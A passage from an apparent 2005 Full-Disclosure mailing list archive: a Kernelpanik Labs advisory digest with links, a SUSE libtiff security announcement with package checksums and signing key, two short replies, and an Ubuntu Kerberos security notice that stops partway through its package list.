Date: Mon, 10 Jan 2005 09:53:16 +0000
Subject: [Full-Disclosure] Kernelpanik Labs Digest 2005-1
Message-ID: <E1CnwEe-0005rV-DD@samantha.commonservers.com>

Hi and happy new year.

This is a email digest with security fails recently published by
Kernelpanik Labs (http://www.kernelpanik.org)

Apache suEXEC Bypass
--------------------
Small document about how bypass isolating
procedures, i.e. suEXEC, in Apache WebServer.
English document: http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf
Spanish document: http://www.kernelpanik.org/docs/kernelpanik/suexec.es.pdf
Author: frame at kernelpanik.org
 
Amphora Gate StandAlone
-----------------------
Security fails in this captive portal
Spanish document:
http://www.kernelpanik.org/docs/kernelpanik/amphora.pdf
Author: madj0ker at kernelpanik.org
 
Virtual Hosting Control System v2.2
-----------------------------------
Remote code execution in this control panel
Spanish document:
http://www.kernelpanik.org/docs/kernelpanik/vhcs22.txt
English document: http://www.kernelpanik.org/docs/kernelpanik/vhcs22.en.txt
Author: frame at kernelpanik.org
 
GreyMatter 1.3
--------------
Some security fails: race condition and XSS's
Spanish document: 
http://www.kernelpanik.org/docs/kernelpanik/greym13.txt
English document: http://www.kernelpanik.org/docs/kernelpanik/greym13.en.txt
Author: frame at kernelpanik.org
 
That's is all.
 
PD1: MaDj0kEr won't translate his stuff to shakespeare language 'cause
don't think anyone there uses amphora.
 
PD2: If you learn spanish, you'll avoid our scary translations and enjoy
more our jokes.
 
PD3: Dunno why people in securityfocus block our email... so from now,
we'll send advisories to both lists.
 
-- 
Kernelpanik Labs - kpk at kernelpanik.org
http://www.kernelpanik.org



From thomas at suse.de  Mon Jan 10 10:36:46 2005
From: thomas at suse.de (Thomas Biege)
Date: Mon, 10 Jan 2005 11:36:46 +0100
Subject: [Full-Disclosure] SUSE Security Announcement: libtiff/tiff
	(SUSE-SA:2005:001)
Message-ID: <41E25ABE.mailCFZ1LCF3I@suse.de>


-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________

                        SUSE Security Announcement

        Package:                libtiff/tiff
        Announcement-ID:        SUSE-SA:2005:001
        Date:                   Monday, Jan 10th 2005 11:30 MET
        Affected products:      8.1, 8.2, 9.0, 9.1, 9.2
                                SUSE Linux Desktop 1.0
                                SUSE Linux Enterprise Server 8, 9
                                Novell Linux Desktop 9
        Vulnerability Type:     remote system compromise
        Severity (1-10):        8
        SUSE default package:   yes
        Cross References:       CAN-2004-1183
                                CAN-2004-1308

    Content of this advisory:
        1) security vulnerability resolved:
             - integer overflow
             - buffer overflow
           problem description
        2) solution/workaround
        3) special instructions and notes
        4) package location and checksums
        5) pending vulnerabilities, solutions, workarounds:
        6) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion

    Libtiff supports reading, writing, and manipulating of TIFF image files.
    iDEFENSE reported an integer overflow in libtiff that can be exploited by
    specific TIFF images to trigger a heap-based buffer overflow afterwards.

    This bug can be used by external attackers to execute arbitrary code
    over the network by placing special image files on web-pages and
    alike.
    
    Additionally a buffer overflow in tiffdump was fixed.
    
    
2) solution/workaround

    There is no workaround known.
    
    
3) special instructions and notes

    It is needed that all processes using libtiff are restarted.
    If you use GUI applications please close your X/GDM/KDM session(s) and
    log in again.
    
    
4) package location and checksums

    Download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command "rpm -Fhv file.rpm" to apply
    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered for installation from the maintenance web.
    

    x86 Platform:

? ? SUSE Linux 9.2:
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/libtiff-3.6.1-47.4.i586.rpm
? ? ? 8d0c9a4295719b7b659d33b311932cce
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/libtiff-devel-3.6.1-47.4.i586.rpm
? ? ? bbdfe23b8390265f62c5e800551eca7d
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/tiff-3.6.1-47.4.i586.rpm
? ? ? 79d0b122103b619b795872ed70a7feaa
? ? patch rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/libtiff-3.6.1-47.4.i586.patch.rpm
? ? ? dd18c32e661a59dfda88e5318ecfb825
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/libtiff-devel-3.6.1-47.4.i586.patch.rpm
? ? ? a161f078c72920fde4f95f0f229e07fb
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/tiff-3.6.1-47.4.i586.patch.rpm
? ? ? b66e77ac565b375555f9b980145a9442
? ? source rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/tiff-3.6.1-47.4.src.rpm
? ? ? 953f00dd4f98223d270db6e2c662e370

? ? SUSE Linux 9.1:
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/libtiff-3.6.1-38.14.i586.rpm
? ? ? bc883989e3deeecbc0dfb47a9daa23ff
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/tiff-3.6.1-38.14.i586.rpm
? ? ? 46a598e4914836b7e4e90094625e1587
? ? patch rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/libtiff-3.6.1-38.14.i586.patch.rpm
? ? ? ec8d13d5b0bb4bedb2796db800ec8821
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/tiff-3.6.1-38.14.i586.patch.rpm
? ? ? 8bfef59cd1946f889f9eb3b8f441e61a
? ? source rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/tiff-3.6.1-38.14.src.rpm
? ? ? 59218891e1c096ee376aec6906dbbc1c

? ? SUSE Linux 9.0:
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/libtiff-3.5.7-379.i586.rpm
? ? ? 339b3bbc318cc6298e07a65e82a1e07d
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/tiff-3.5.7-379.i586.rpm
? ? ? 6fe1432237f589dc73e348e1cdbc9068
? ? patch rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/libtiff-3.5.7-379.i586.patch.rpm
? ? ? 867a5a98a2ac68071be51a2426992bd9
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/tiff-3.5.7-379.i586.patch.rpm
? ? ? a185bec3b9a4a79590561d2bd7d19243
? ? source rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/tiff-3.5.7-379.src.rpm
? ? ? a4857a276db37e3a6d4fc6df2bebd230

? ? SUSE Linux 8.2:
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/libtiff-3.5.7-379.i586.rpm
? ? ? aab8d95cf757c5520830e0bed74e2d5f
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/tiff-3.5.7-379.i586.rpm
? ? ? 5ded8ffdd7633ce5a68a231d637f6247
? ? patch rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/libtiff-3.5.7-379.i586.patch.rpm
? ? ? 566e39a22033284c1266c52eac7320d3
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/tiff-3.5.7-379.i586.patch.rpm
? ? ? 40521831ae56bdabde85ee92473697c5
? ? source rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/tiff-3.5.7-379.src.rpm
? ? ? f407a1cfca26d9618d19848b087983ee

? ? SUSE Linux 8.1:
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/libtiff-3.5.7-379.i586.rpm
? ? ? 36ec66df028b5d24f8373282a32f1440
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/tiff-3.5.7-379.i586.rpm
? ? ? 7e5b60fd51d14eac8312474f2d43cda0
? ? patch rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/libtiff-3.5.7-379.i586.patch.rpm
? ? ? 41959759027005e272103b07054c6e26
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/tiff-3.5.7-379.i586.patch.rpm
? ? ? 0ae11b9367fe84085aacd6ed1b586bff
? ? source rpm(s):
? ? ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/tiff-3.5.7-379.src.rpm
? ? ? b9d1ac1c51f9f935ca78628d8d2adc3e



? ? x86-64 Platform:

? ? SUSE Linux 9.2:
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-32bit-9.2-200501041820.x86_64.rpm
? ? ? d22303573664d8ef0170c1da81a65232
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-32bit-9.2-200501041820.x86_64.rpm
? ? ? d22303573664d8ef0170c1da81a65232
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-devel-3.6.1-47.4.x86_64.rpm
? ? ? 27a98a68b4bda3096f6263998c41d29d
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/tiff-3.6.1-47.4.x86_64.rpm
? ? ? d9f2938c822fa2131a3b2a1c4b471376
? ? patch rpm(s):
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-32bit-9.2-200501041820.x86_64.patch.rpm
? ? ? f52f8c1a562151373ee98c14e22a6107
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-32bit-9.2-200501041820.x86_64.patch.rpm
? ? ? f52f8c1a562151373ee98c14e22a6107
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/libtiff-devel-3.6.1-47.4.x86_64.patch.rpm
? ? ? cb8f1590ecc0b7ef89eeca271ab7a5c7
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/tiff-3.6.1-47.4.x86_64.patch.rpm
? ? ? e49a2d960381dea99758b7c8d34df07f
? ? source rpm(s):
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/src/tiff-3.6.1-47.4.src.rpm
? ? ? 953f00dd4f98223d270db6e2c662e370

? ? SUSE Linux 9.1:
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/libtiff-3.6.1-38.14.x86_64.rpm
? ? ? 01f564b510e02b71ed23146358b6488a
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/tiff-3.6.1-38.14.x86_64.rpm
? ? ? b9fbc56e9f2250ec222c87f8a3805252
? ? patch rpm(s):
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/libtiff-3.6.1-38.14.x86_64.patch.rpm
? ? ? 813bcb747d11c80ddc30c9de98dbd344
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/tiff-3.6.1-38.14.x86_64.patch.rpm
? ? ? 2a6c5c2923d9709904cdef560c996fb9
? ? source rpm(s):
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/tiff-3.6.1-38.14.src.rpm
? ? ? 506ec05d53f1bc266263aa76086d8af9

? ? SUSE Linux 9.0:
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/libtiff-3.5.7-379.x86_64.rpm
? ? ? 29e8cfa5fd6725ea02d66e43a2abeafb
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/tiff-3.5.7-379.x86_64.rpm
? ? ? b5bccb1560f75b5fd9dd827bdc2f6424
? ? patch rpm(s):
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/libtiff-3.5.7-379.x86_64.patch.rpm
? ? ? e64cdac3e6a86404d17807e12c4f7098
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/tiff-3.5.7-379.x86_64.patch.rpm
? ? ? 9e5eb1bfc586805c8e1f65002b82234c
? ? source rpm(s):
? ? ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/tiff-3.5.7-379.src.rpm
? ? ? b406b3a976b892afb572be9907ab2df0

      
______________________________________________________________________________

5) pending vulnerabilities in SUSE Distributions and Workarounds:

    Please read our next summary report for more information.

______________________________________________________________________________

6) standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum <name-of-the-file.rpm>
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key security at suse.de),
       the checksums show proof of the authenticity of the package.
       We recommend against subscribing to security lists that cause the
       e-mail message containing the announcement to be modified
       so that the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig <file.rpm>
       to verify the signature of the package, where <file.rpm> is the
       file name of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an uninstalled rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user's home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file ("announcement.txt") and
           running the command (do "su -" to be root):
            gpg --batch; gpg < announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key "build at suse.de" upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .


  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-security at suse.com
        -   general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-subscribe at suse.com>.

    suse-security-announce at suse.com
        -   SUSE's announce-only mailing list.
            Only SUSE's security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-announce-subscribe at suse.com>.

    For general information or the frequently asked questions (faq) 
    send mail to:
        <suse-security-info at suse.com> or
        <suse-security-faq at suse.com> respectively.

    =====================================================================
    SUSE's security contact is <security at suse.com> or <security at suse.de>.
    The <security at suse.de> public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID    Date       User ID
pub  2048R/3D25D3D9 1999-03-06 SuSE Security Team <security at suse.de>
pub  1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build at suse.de>

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.7 (GNU/Linux)

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
=Fv2n
- -----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2-rc1-SuSE (GNU/Linux)

iQEVAwUBQeJZXney5gA9JdPZAQHuhQf8CiQ6/4mIzbaqmUWjP7TREsy2j7riyM2+
dkyiCE4luNDVcAJahGQUtjwDwzEcJjeBNsuIX7vYiW0ct9ZlVDZupDQtmE83K8p4
ke76sEBKtxHvkl0MQdqsQAdEKMorPWCHdivmWp9om9Ob572uc2EM9mQl/SiJg+c9
Wp6Dl0okfuB/YDZKaeBaZr9rTceso+Fj5+OEzUkq8AuFwF/vcdTYFryX+Qh3X5Zw
PA9LGqtsWh5zviIg985wbm1axKyVgI89+VZXC9gibIR4NtdHcVpw25I+6FM4ElhA
rRVXTQm2kimxbZv1BBnkupUDtJ5va+3NwMZzG254e+7OYmcvoTyynw==
=5xrJ
-----END PGP SIGNATURE-----


From var at deny-all.com  Mon Jan 10 11:02:50 2005
From: var at deny-all.com (Vincent Archer)
Date: Mon, 10 Jan 2005 12:02:50 +0100
Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and
	Vulnerable
In-Reply-To: <3dc922c3050108105762eef57f@mail.gmail.com>
References: <200501081612.j08GCLrs013728@lists.netsys.com>
	<3dc922c3050108105762eef57f@mail.gmail.com>
Message-ID: <20050110110250.GF6727@DAPCVA.da>

On Sat, Jan 08, 2005 at 01:57:58PM -0500, Matt Ostiguy wrote:
> On Sat, 8 Jan 2005 10:12:23 -0600, RandallM <randallm at fidmail.com> wrote:
> > I don't think it's going to be free. While doing a small amount of research
> > on the "spyware community" I found this text string in the
> > GianttAntiSpywareUpdater.exe:
> 
> Doesn't the fact that the executable's name contains a company that no
> longer exists (Giant) indicate that perhaps this BETA software will
> undergo some changes before its full release as a Microsoft product?

If you're optimistic, you might think that basically, they began with
a globale search-n-replace on all occurence of the old product name,
and replaced it with Microsoft's new name :)

-- 
Vincent ARCHER
varcher at denyall.com

Tel : +33 (0)1 40 07 47 14
Fax : +33 (0)1 40 07 47 27
Deny All - 5, rue Scribe - 75009 Paris - France
www.denyall.com



From nd at perlig.de  Mon Jan 10 11:12:09 2005
From: nd at perlig.de (=?iso-8859-1?q?Andr=E9_Malo?=)
Date: Mon, 10 Jan 2005 12:12:09 +0100
Subject: [Full-Disclosure] Kernelpanik Labs Digest 2005-1
In-Reply-To: <E1CnwEe-0005rV-DD@samantha.commonservers.com>
References: <E1CnwEe-0005rV-DD@samantha.commonservers.com>
Message-ID: <200501101212.10076@news.perlig.de>

* Kernelpanik Labs - Security Lists wrote:

> Apache suEXEC Bypass
> --------------------
> Small document about how bypass isolating
> procedures, i.e. suEXEC, in Apache WebServer.
> English document:
> http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf Spanish
> document: http://www.kernelpanik.org/docs/kernelpanik/suexec.es.pdf
> Author: frame at kernelpanik.org

FUD. This document just shows, that one can read world readable files in the 
filesystem. Nice try...

nd
-- 
Winnetous Erbe: <http://pub.perlig.de/books.html#apache2>


From martin.pitt at canonical.com  Mon Jan 10 13:46:58 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Mon, 10 Jan 2005 14:46:58 +0100
Subject: [Full-Disclosure] [USN-58-1] MIT Kerberos server vulnerability
Message-ID: <20050110134658.GA10327@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-58-1		   January 10, 2005
krb5 vulnerability
CAN-2004-1189
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

krb5-admin-server
krb5-kdc
libkadm55
libkrb53

The problem can be corrected by upgrading the affected package to
version 1.3.4-3ubuntu0.1.  In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Michael Tautschnig discovered a possible buffer overflow in the
add_to_history() function in the MIT Kerberos 5 implementation.
Performing a password change did not properly track the password
policy's history count and the maximum number of keys. This could
cause an array overflow and may have allowed authenticated users (not
necessarily one with administrative privileges) to execute arbitrary
code on the KDC host, compromising an entire Kerberos realm.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/krb5_1.3.4-3ubuntu0.1.diff.gz
      Size/MD5:   660788 a3e773e901a67368f8dd322a903f7f81
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/krb5_1.3.4-3ubuntu0.1.dsc
      Size/MD5:      788 e9baf1ebfa972d585f829d7e64465bea
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/krb5_1.3.4.orig.tar.gz
      Size/MD5:  6361011 23ddf1655f7f180835cf34d104088473

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/krb5-doc_1.3.4-3ubuntu0.1_all.deb
      Size/MD5:   716542 5b8265007cf5f2176955aacfe3eb45eb

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-admin-server_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:   103764 7f4720f5b36e50c49f30bc99917dc31a
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-clients_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:   215204 30b4d7e2a133cce888127798b843566a
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-ftpd_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:    55802 92a9097d2c5fc574d644dd062a2a2d0c
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-kdc_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:   123580 977b0f8def9a58ab022a2e8321f5d29d
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-rsh-server_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:    81578 58fa9d55d6316f1540d642696509e04b
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-telnetd_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:    62318 ae6908459976878856a666950f2c956d
    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-user_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:   135856 0012a1ff533388ec7a6a4082f9eaa23a
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/libkadm55_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:   176484 e26c41328f72a6b4ff3f9dfd16819429
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/libkrb5-dev_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:   651556 c41b666bd8ba980bb5240c8de4a22a42
    http://security.ubuntu.com/ubuntu/pool/main/k/krb5/libkrb53_1.3.4-3ubuntu0.1_amd64.deb
      Size/MD5:   367872 7c2ddc51d5fb971540aa2ddb74e136d0

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/universe/k/krb5/krb5-admin-server_1.3.4-3ubuntu0.1_i386.deb
